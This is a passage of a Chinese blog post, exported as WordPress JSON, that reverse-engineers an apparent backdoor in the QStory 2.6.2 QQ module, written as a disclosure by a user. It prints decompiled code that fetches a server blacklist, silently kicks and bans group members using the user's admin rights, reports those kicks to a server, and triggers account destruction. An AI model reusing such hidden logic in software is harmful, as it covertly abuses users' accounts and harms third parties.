{"id":298,"date":"2026-06-07T06:57:32","date_gmt":"2026-06-06T22:57:32","guid":{"rendered":"https:\/\/zhihao.org.cn\/?p=298"},"modified":"2026-06-07T14:22:06","modified_gmt":"2026-06-07T06:22:06","slug":"qstory-2-6-2-%e5%90%8e%e9%97%a8%e9%80%86%e5%90%91%e5%85%a8%e8%bf%87%e7%a8%8b","status":"publish","type":"post","link":"https:\/\/zhihao.org.cn\/?p=298","title":{"rendered":"QStory 2.6.2 \u540e\u95e8\u9006\u5411\u5168\u8fc7\u7a0b"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u5199\u5728\u524d\u9762<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u81ea\u5df1\u5c31\u662f QStory \u7684\u7528\u6237\uff0c\u7528\u5f97\u633a\u8212\u670d\u3002\u6240\u4ee5\u5f53\u6211\u4eca\u5929\u5728\u7fa4\u91cc\u5237\u5230&#8221;QStory \u5e26\u540e\u95e8&#8221;\u8fd9\u4e2a\u74dc\u7684\u65f6\u5019\uff0c\u7b2c\u4e00\u53cd\u5e94\u5176\u5b9e\u662f\u4e0d\u4fe1\u7684 \u76f4\u5230\u6211\u81ea\u5df1\u628a APK \u62d6\u8fdb\u4e86\u53cd\u7f16\u8bd1\u5668\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e8b\u60c5\u7684\u8d77\u56e0\u662f\u4eca\u5929\u770b\u5230\u6709\u4eba\u8f6c\u53d1\u4e86\u4e00\u4efd&#8221;\u67d0 QQ \u6a21\u5757\u7591\u4f3c\u5b58\u5728\u6076\u610f\u540e\u95e8&#8221;\u7684\u5206\u6790\uff08\u4e0b\u53d1\u8d26\u53f7\u4fe1\u606f\u3001\u521d\u59cb\u5316\u540e\u95e8\u3001\u6bc1\u53f7\u51fd\u6570\u90a3\u51e0\u5f20\u56fe\uff0c\u76f8\u4fe1\u4e0d\u5c11\u4eba\u90fd\u5237\u5230\u4e86\uff09\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780777362192-30789c0c-637a-4a95-94b7-d0a0a596629e.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780777362192-30789c0c-637a-4a95-94b7-d0a0a596629e.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780777367511-9c5472e3-5096-4be2-9109-b3d2eaf8062c.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780777367511-9c5472e3-5096-4be2-9109-b3d2eaf8062c.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">\u5206\u6790\u8fc7\u7a0b<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u6837\u672c\u4e8e\u601d\u8def<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4e0b\u8f7d\u4e86\u6837\u672c\u4e24\u4e2a\uff0c\u505a\u7248\u672c\u5bf9\u6bd4\uff1aQStory_2.6.2-release.apk\uff08\u7f51\u4f20\u5e26\u540e\u95e8\u7248\u672c\uff0c\u5b98\u65b9\u9891\u9053\u4e0b\u8f7d\uff09\u4e0e QStory_2.6.3-release.apk\uff08\u5f00\u53d1\u8005&#8221;\u4fee\u590d&#8221;\u540e\u7684\u7248\u672c\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a APK \u7528\u7684\u662f R8 + \u4e2d\u6587 Unicode \u5b57\u7b26\u6df7\u6dc6 \u6709\u4e00\u8bf4\u4e00\u8fd9\u4e2a\u6df7\u6dc6\u633a\u6709\u8bd7\u610f\u7684\uff0c\u4f46\u662f\u6df7\u6dc6\u5bf9\u4e8e\u9006\u5411\u5206\u6790\u662f\u771f\u7684\u6076\u5fc3\uff0cjadx \u4f1a\u628a\u5b83\u4eec\u91cd\u547d\u540d\u6210 C9070 \u3001AbstractC9073 \u4e4b\u7c7b\u3002\u4f46\u7f51\u4f20\u5206\u6790\u5df2\u7ecf\u7ed9\u4e86\u4e24\u4e2a\u63a5\u53e3\u540d queryBlacklist onKickBlacklist\uff0c\u800c Retrofit \u6ce8\u89e3\u91cc\u7684 URL \u662f\u660e\u6587\uff0c\u641c\u5f97\u5230\u5c31\u80fd\u987a\u85e4\u6478\u74dc<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780783746063-315450f8-ec87-487f-b4a3-2f598b04081b.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780783746063-315450f8-ec87-487f-b4a3-2f598b04081b.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Retrofit \u63a5\u53e3\u5b9a\u4e49<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u9996\u5148\u770b\u5230&#8221;\u98d8\u82b1\u843d\u53f6\u8a00\u82cf\u54f2\u5b50\u5170\u4e16\u696a.\u98d8\u82b1\u843d\u53f6\u8a00\u5b50\u696a\u4e16\u82cf\u54f2\u5170&#8221;\u8fd9\u4e2a\u7c7b\u540d<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780782134182-dad6093d-83bb-4c35-bbea-284f58e3a81a.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780782134182-dad6093d-83bb-4c35-bbea-284f58e3a81a.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>public interface InterfaceC9134 {\n\n\n    @InterfaceC9339(\"\/user-v2\/onKickBlacklist\")   \n    @InterfaceC9324                               \n    InterfaceC6159&lt;QSResult&lt;Integer&gt;&gt; m15066(\n        @InterfaceC9326(\"troop\")        String str,    \n        @InterfaceC9326(\"troopName\")    String str2,  \n        @InterfaceC9326(\"operator\")     String str3,   \n        @InterfaceC9326(\"operatorName\") String str4,   \n        @InterfaceC9326(\"uin\")          String str5,   \n        @InterfaceC9326(\"uinName\")      String str6,  \n        @InterfaceC9326(\"reason\")       String str7    \n    );\n\n    @InterfaceC9323(\"\/user-v2\/queryBlacklist\")   \n    InterfaceC6159&lt;QSResult&lt;List&lt;String&gt;&gt;&gt; m15067();\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u662f\u4e00\u4e2a\u6807\u51c6\u7684 Retrofit \u63a5\u53e3\uff0c\u4e24\u4e2a\u65b9\u6cd5\u5bf9\u5e94\u4e24\u4e2a\u540e\u7aef API\u3002 \u4f5c\u7528\u662f\u4ece\u670d\u52a1\u5668\u62c9\u4e00\u4e32\u88ab\u62c9\u9ed1\u7684 QQ \u53f7\u5217\u8868\u3002m15066() \u5e26 @InterfaceC9339(&#8220;\/user-v2\/onKickBlacklist&#8221;) \uff0c\u4e03\u4e2a\u53c2\u6570\u5168\u662f\u8868\u5355\u5b57\u6bb5\uff1atroop\uff08\u7fa4\u53f7\uff09\u3001troopName\uff08\u7fa4\u540d\uff09\u3001operator\uff08\u5f53\u524d\u767b\u9646\u7684\u7528\u6237\uff09\u3001operatorName\uff08\u64cd\u4f5c\u8005\u6635\u79f0\uff09\u3001uin\uff08\u88ab\u8e22\u7684\u4eba QQ \u53f7\uff09\u3001uinName\uff08\u88ab\u8e22\u8005\u6635\u79f0\uff09\u3001reason\uff08\u539f\u56e0\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b80\u5355\u6765\u8bf4\u5c31\u662f \u8fd9\u6bb5\u4ee3\u7801\u53ef\u4ee5\u5229\u7528\u4f60qq\u7fa4\u7684\u7ba1\u7406\u5458\u6743\u9650 \u5728\u4f60\u4e0d\u77e5\u60c5\u7684\u60c5\u51b5\u4e0b\u8e22\u6389\u4efb\u4f55\u4eba<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6570\u636e\u7ed3\u6784<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a5\u53e3\u627e\u5230\u4e86 \u90a3\u4e48\u6211\u4eec\u6765\u770b\u770b\u8fd9\u4e2a\u8eab\u4efd\u662f\u600e\u4e48\u5206\u914d\u7684 \u5982\u4f55\u5224\u65ad\u4f60\u7684qq\u53f7\u662f\u5426\u4f1a\u88ab\u6bc1\u53f7<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u4eec\u518d\u770b\u770buser.java<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780782904530-fd2f283c-5d42-466b-b8fd-c4fd38017acd.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780782904530-fd2f283c-5d42-466b-b8fd-c4fd38017acd.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><code>User<\/code> \u662f\u4e00\u4e2a\u53ef\u5e8f\u5217\u5316\u7684\u8eab\u4efd\u5b9e\u4f53\uff0c\u5173\u952e\u5b57\u6bb5\u662f userIdentity\u3002getCurrentUser() \u662f\u5178\u578b\u7684\u5355\u4f8b\u61d2\u52a0\u8f7d\uff1a\u5982\u679c\u8fd8\u6ca1\u62ff\u5230\u670d\u52a1\u5668\u8eab\u4efd\uff08currentUser == null\uff09\uff0c\u5c31\u6784\u9020\u4e00\u4e2a\u9ed8\u8ba4\u5bf9\u8c61\uff0cuserIdentity \u8bbe\u7f6e\u4e3a 0\uff08\u666e\u901a\u7528\u6237\uff09\uff0cname \/ uin\u7528 AbstractC3164.m7228(long) \u89e3\u5bc6\u51fa\u6765\u7684\u9ed8\u8ba4\u503c\u586b\u5145\u3002AbstractC3164.m7228\u662f\u8d2f\u7a7f\u5168\u6a21\u5757\u7684\u5b57\u7b26\u4e32\u89e3\u5bc6\u51fd\u6570\uff0c\u4f20\u4e00\u4e2a long\u7c7b\u578b\u7684\u5e38\u91cf\u8fdb\u53bb\u3001\u5410\u51fa\u660e\u6587\u5b57\u7b26\u4e32\u2014\u2014\u8fd9\u4e2a\u51fd\u6570\u540e\u9762\u4f1a\u4e13\u95e8\u62c6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u63a5\u4e0b\u6765\u771f\u6b63\u53c2\u4e0e\u7f51\u7edc\u5e8f\u5217\u5316\u3001\u8ddf\u670d\u52a1\u5668\u5b57\u6bb5\u5bf9\u63a5\u7684\u662f C9070\uff0c\u5b83\u7528 fastjson2 \u7684\u6ce8\u89e3\u628a\u5b57\u6bb5\u540d\u66b4\u9732\u5f97\u660e\u660e\u767d\u767d<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>public class C9070 {\n    @InterfaceC8663(name = \"sponsorEndDate\", ordinal = 6)\n    public LocalDateTime f25101;\n\n    @InterfaceC8663(name = \"uin\", ordinal = 1)\n    public String f25106 = AbstractC3164.m7228(-3937561652678100391L);\n\n    @InterfaceC8663(name = \"nickname\", ordinal = 2)\n    public String f25105 = AbstractC3164.m7228(-3937627554656290215L);\n\n    @InterfaceC8663(name = \"identity\", ordinal = 3)\n    public Integer f25104 = 0;\n\n    @InterfaceC8663(name = \"identityName\", ordinal = 4)\n    public String f25103 = AbstractC3164.m7228(-3937627554656290215L);\n\n    @InterfaceC8663(name = \"label\", ordinal = 5)\n    public String f25102 = AbstractC3164.m7228(-3937561979095614887L);\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780783149806-9f8d045e-0832-46a5-8fad-1eec71f467bd.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780783149806-9f8d045e-0832-46a5-8fad-1eec71f467bd.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">C9070 \u662f user\/info \u63a5\u53e3\u8fd4\u56de\u7684 JSON \u5bf9\u5e94\u7684\u5b9e\u4f53\u3002@InterfaceC8663(name =) \u662f fastjson2 \u7684\u5b57\u6bb5\u540d\u6ce8\u89e3\uff0c\u9010\u4e2a\u6620\u5c04\u51fa\u670d\u52a1\u5668\u4e0b\u53d1\u7684\u5b57\u6bb5\uff1asponsorEndDate\u3001uin\u3001nickname\u3001identity\u3001identityName\u3001label sponsorEndDate\uff08\u8d5e\u52a9\u8d26\u53f7\u7ed3\u675f\u7684\u671f\u65e5\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6838\u5fc3\u662f f25104\uff08\u5bf9\u5e94 JSON \u7684 identity\uff09\u3002\u8fd9\u4e2a\u6574\u6570\u5728\u540e\u9762\u7684\u903b\u8f91\u91cc\u88ab\u7528\u4f5c\u4e09\u6001\u5f00\u5173\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>identity &gt;= 1\uff1a\u8d5e\u52a9\u8d26\u53f7\uff0c\u89e3\u9501\u4ed8\u8d39\u529f\u80fd\uff1b\nidentity == 0\uff1a\u666e\u901a\u8d26\u53f7\uff0c\u6b63\u5e38\u4f7f\u7528\uff1b\nidentity &lt; 0\uff1a\u9ed1\u540d\u5355\u8d26\u53f7\uff0c\u89e6\u53d1\u6bc1\u53f7\u3002<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\u53e6\u5916\u6ce8\u610f f25106 \u4e2d\u7684\u201cuin\u201d\u7684\u9ed8\u8ba4\u503c\u6765\u81ea\u5e38\u91cf -3937561652678100391L\uff0c\u6211\u7528\u89e3\u5bc6\u5668\u89e3\u51fa\u6765\u662f\u5b57\u7b26\u4e32 &#8220;0&#8221;\u3002\u8bb0\u4f4f\u8fd9\u4e2a \u63a5\u4e0b\u6765\u6211\u4f1a\u8bb2<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>\u540e\u95e8\u603b\u5165\u53e3<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u540e\u95e8\u5165\u53e3\u85cf\u5728\u4e00\u4e2a\u4f2a\u88c5\u6781\u6df1\u7684\u4f4d\u7f6e\uff1aandroidx.compose.ui.platform\u8fd9\u4e2a\u5305\u4e0b\u7684\u4e00\u4e2a Runnable\uff0c\u7528 switch \u5206\u53d1\u5341\u51e0\u79cd\u521d\u59cb\u5316\u4efb\u52a1<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780784079947-43dbfbdf-1ad7-402c-b9f2-17cffb869a86.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780784079947-43dbfbdf-1ad7-402c-b9f2-17cffb869a86.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>case 9:\ntry {\n    AbstractC9075.f25122.execute(new RunnableC1984(new C7327(), 18));\n    AbstractC3172.m7325();\n    C4555 c4555 = new C4555(3);\n    if (!AbstractC3164.m7228(-3937692808094418343L).equals(c4555.m9625())) {\n        AbstractC6578.m12122(AbstractC3164.m7228(-3937692640590693799L));\n        new C7235(new C2611(24)).start();\n    }\n    new C7235(new C1092(c4555, 24)).start();\n    ArrayList arrayList = AbstractC9073.f25120;\n    C9135.m15071().m15067().mo11667(new C7324(24));\n    return;\n} catch (Exception e4) {\n    String m7228 = AbstractC3164.m7228(-3937554879514674599L);\n    AbstractC6581.m12135(m7228, e4.toString(), e4, true);\n    return;\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">1.\u8fd9\u4e2aAbstractC9075.f25122.execute(new RunnableC1984(new C7327(), 18))\u2014\u2014\u5f80\u7ebf\u7a0b\u6c60\u4e22\u4e00\u4e2a case 18 \u4efb\u52a1\uff0c\u5f02\u6b65\u53bb\u8bf7\u6c42 user\/info \u63a5\u53e3\u3001\u628a\u8eab\u4efd\u4fe1\u606f\u5199\u672c\u5730\u7f13\u5b58\uff08case 18\u5b9e\u73b0\u89c1\u4e0b\uff09<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.bstractC3172.m7325() \u2014\u2014\u8c03\u7528\u6bc1\u53f7\u51fd\u6570\uff0c\u8bfb\u521a\u624d\u7f13\u5b58\u7684\u8eab\u4efd\uff0cidentity &lt; 0 \u5c31\u6267\u884c\u8d26\u53f7\u9500\u6bc1<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ RunnableC1984.java \u2014\u2014 case 18\ncase 18:\ntry {\n    C7327.m12808();\n    Object obj = C9135.m15068().m15054().execute().f16101;\n    C9070 c9070 = (C9070) ((QSResult) obj).getData();\n    new C9092().m15026(c9070, AbstractC3164.m7228(-3937706766738130343L));\n    \/\/ ...\n} catch (Exception e6) { \/* ... *\/ }<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">C9135.m15068().m15054().execute() \u662f\u4e00\u6b21\u540c\u6b65\u7f51\u7edc\u8bf7\u6c42\uff0c\u62ff\u5230 QSResult \u540e getData() \u5f3a\u8f6c\u6210 C9070\uff0c\u4e5f\u5c31\u662f\u4e0a\u4e00\u8282\u90a3\u4e2a\u5e26 identity \u7684\u8eab\u4efd\u5b9e\u4f53\u3002\u968f\u540e new C9092().m15026(c9070, m7228(-3937706766738130343L)) \u628a\u5b83\u5199\u8fdb\u672c\u5730\u7f13\u5b58\uff0c\u7f13\u5b58\u952e -3937706766738130343L \u89e3\u5bc6\u540e\u662f &#8220;user_info&#8221;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e2a\u8bbe\u8ba1\uff0c\u8eab\u4efd\u4fe1\u606f\u5148\u88ab\u5f02\u6b65\u62c9\u53d6\u5e76\u843d\u5730\u5230\u672c\u5730\u7f13\u5b58\uff0c\u6bc1\u53f7\u51fd\u6570 m7325() \u8bfb\u7684\u662f\u7f13\u5b58\u800c\u4e0d\u662f\u76f4\u63a5\u8bfb\u7f51\u7edc\u8fd4\u56de\u3002\u597d\u5904\u662f\u5373\u4fbf\u67d0\u6b21\u7f51\u7edc\u6296\u52a8\uff0c\u6bc1\u53f7\u5224\u5b9a\u4f9d\u7136\u80fd\u57fa\u4e8e\u4e0a\u4e00\u6b21\u7f13\u5b58\u6267\u884c\u2014\u2014\u8fd9\u8ba9&#8221;\u6bc1\u53f7&#8221;\u64cd\u4f5c\u66f4\u7a33\u5b9a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u8e22\u4eba\u6838\u5fc3<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">AbstractC9073 \u8fd9\u4e2a\u7c7b\u53ea\u6709\u4e24\u4e2a\u65b9\u6cd5\uff0c\u4f46\u662f&#8221;\u5224\u5b9a + \u8e22\u4eba + \u4e0a\u62a5 + \u8c41\u514d&#8221;\u5168\u5305\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780784486633-c136560b-9ae7-4d7b-98ad-902c319642e6.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/cdn.nlark.com\/yuque\/0\/2026\/png\/44105438\/1780784486633-c136560b-9ae7-4d7b-98ad-902c319642e6.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>public abstract class AbstractC9073 {\n\n    public static ArrayList f25120 = new ArrayList();\n    public static final ArrayList f25119 = new ArrayList();\n\n    public static final void m15012(String str, String str2, String str3) {\n        AbstractC6561.m12107(-3937706981486495143L, -3937586675157566887L, str);\n        str2.getClass();\n        if (!f25119.contains(str) || !m15013(str2)) {\n            return;\n        }\n        QQNTTroopTool.kickMember(str, str2, true);\n        InterfaceC9134 m15071 = C9135.m15071();\n        String groupName = QQNTTroopTool.getGroupName(str);\n        String currentUin = QQEnvTool.getCurrentUin();\n        String currentAccountNickName = QQEnvTool.getCurrentAccountNickName();\n        String memberName = QQNTTroopTool.getMemberName(str, str2);\n        m15071.m15066(str, groupName, currentUin, currentAccountNickName,\n                      str2, memberName, str3).mo11667(new C7327(24));\n    }\n\n    public static final boolean m15013(String str) {\n        str.getClass();\n        if (str.equals(AbstractC3164.m7228(-3937561652678100391L))) {\n            return false;\n        }\n        return f25120.contains(str);\n    }\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">m15012\uff1a\u4e09\u4e2a\u53c2\u6570 str \/ str2 \/ str3 \u5206\u522b\u662f\u7fa4\u53f7\u3001\u88ab\u8e22 QQ \u53f7\u3001\u539f\u56e0\u3002\u7b2c\u4e00\u884c f25119.contains(str) \u5224\u65ad\u8fd9\u4e2a\u7fa4\u662f\u5426\u5728&#8221;\u76d1\u63a7\u7fa4\u961f\u5217&#8221;\u91cc\uff08f25119 \u5b58\u7684\u662f\u4f60\u4f5c\u4e3a\u7ba1\u7406\u5458\u7684\u7fa4\uff09\uff0cm15013(str2) \u5224\u65ad\u8fd9\u4e2a\u53f7\u662f\u5426\u8be5\u8e22\uff1b\u4e24\u4e2a\u6761\u4ef6\u4efb\u4e00\u4e0d\u6ee1\u8db3\u5c31 return\u3002\u901a\u8fc7\u4e4b\u540e\uff0cQQNTTroopTool.kickMember(str, str2, true) \u771f\u6b63\u6267\u884c\u8e22\u4eba\uff0c\u7b2c\u4e09\u4e2a\u53c2\u6570 true \u8868\u793a\u8e22\u51fa\u5e76\u6c38\u4e45\u62c9\u9ed1\u3002\u63a5\u7740\u6536\u96c6\u7fa4\u540d\u3001\u5f53\u524d\u767b\u5f55 QQ\uff08getCurrentUin()\uff0c\u5373 operator\uff09\u3001\u5f53\u524d\u6635\u79f0\u3001\u88ab\u8e22\u8005\u6635\u79f0\uff0c\u8c03 m15066() \u628a\u8fd9\u4e9b\u4fe1\u606f POST \u5230 \/user-v2\/onKickBlacklist\u2014\u2014\u4e5f\u5c31\u662f\u628a&#8221;\u7528\u6237\u8e22\u4e86\u8c01&#8221;\u4e0a\u62a5\u7ed9\u670d\u52a1\u5668\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">m15013\uff08\u9ed1\u540d\u5355\u5224\u5b9a + \u8c41\u514d\uff09\uff1a\u5148\u628a\u4f20\u5165\u7684 QQ \u53f7\u8ddf m7228(-3937561652678100391L) \u6bd4\u8f83\uff0c\u8fd9\u4e2a\u5e38\u91cf\u89e3\u5bc6\u540e\u662f &#8220;0&#8221;\u2014\u2014\u547d\u4e2d\u5c31 return false\uff08\u6c38\u4e0d\u8e22\uff09\u3002\u8fd9\u6b63\u662f\u7b2c\u4e09\u8282 C9070 \u91cc uin \u7684\u9ed8\u8ba4\u503c\uff0c\u662f\u4e00\u9053\u515c\u5e95\u4fdd\u9669\uff1a\u5f53\u670d\u52a1\u5668\u6ca1\u4e0b\u53d1\u6709\u6548\u8eab\u4efd\u3001uin \u53d6\u9ed8\u8ba4\u5360\u4f4d &#8220;0&#8221; 